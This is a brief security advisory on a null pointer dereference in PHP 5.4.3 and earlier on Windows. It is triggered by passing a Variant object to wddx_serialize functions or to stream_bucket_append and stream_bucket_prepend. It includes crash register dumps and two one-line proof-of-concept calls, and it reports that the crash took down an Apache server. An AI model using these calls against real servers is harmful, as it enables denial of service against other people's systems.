PHP <= 5.4.3 wddx_serialize_* / stream_bucket_* Variant Object Null Ptr Derefernce

Tested on:
 
 PHP 5.3.8  + Windows XP SP3 Professional PL
 PHP 5.3.10 + Windows XP SP3 Professional PL
 PHP 5.4.0  + Windows XP SP3 Professional PL
 PHP 5.4.3  + Windows XP SP3 Professional PL
 
Description:

wddx_serialize_value and wddx_serialize_vars functions fails to handle Variant
object when it is given as a first argument.

Registers:

 EAX 00000000
 ECX 1056AAE8 php5ts.1056AAE8
 EDX 100EFCE0 php5ts.100EFCE0
 EBX 01032AB0
 ESP 00C0FAE0
 EBP 00000000
 ESI 0121E478
 EDI 0121CB50
 EIP 1028F22E php5ts.1028F22E

Crash:

 1028F22E   8A45 25          MOV AL,BYTE PTR SS:[EBP+25]

Situation looks pretty much the same for both wddx_serialize_vars and
wddx_serialize_value. Also functions stream_bucket_prepend and stream_bucket_append
have some problems with handling Variant object when given as a second argument:

stream_bucket_append(1, new Variant(1));
stream_bucket_prepend(1, new Variant(1));

PS : Variant object is only available in PHP for Windows OS and it was implemented
in PHP > 4.1.0 and PHP 5.

For more details check : http://php.net/manual/en/class.variant.php

PS2: After running this via webserver my Apache wasn't able to handle requests
anymore and I had to restart him :)

kthxbye
